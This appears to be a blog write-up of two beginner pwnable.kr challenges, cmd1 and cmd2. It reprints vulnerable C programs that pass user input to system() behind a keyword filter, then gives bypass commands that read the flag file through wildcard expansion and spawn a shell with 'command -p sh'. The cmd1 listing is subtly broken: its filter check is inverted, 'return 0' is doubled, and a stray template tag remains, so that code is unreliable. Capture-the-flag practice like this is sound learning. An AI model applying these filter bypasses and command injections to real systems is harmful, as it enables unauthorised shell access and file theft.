cmd challenges in Pwnable.kr
In this post we solve a few easy challenges on pwnable.kr called cmd1
and cmd2
cmd1 and cmd2
These two challenges required us to circumvent a cleared PATH
environment variable.
cmd1
In the first challenge, the program has a small filter, that doesn't include
#include <string.h>
#include <stdio.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1]))
system( argv[1] );
return 0;
return 0;
}
Omitting this filter is rather easy with sh's *
expansion and a full path to the executeable we wish to utilize.
./cmd1 "/bin/cat /home/cmd1/fl*"
cmd2
In the second challenge, the program has a larger filter, and clears all environment variables.
{% highlight c %}
#include <stdio.h> #include <string.h>
int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; }
extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); }
int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; }
This makes us unable to use the solution from the first challenge, as it includes /
for the program name.
However, sh has a built-in, called command
, see the bash man page, this takes a parameter -p
which uses a default setting for the PATH
variable. Now we can execute ./cmd2 "command -p sh"
and pop a shell, from here we can cat
the flag.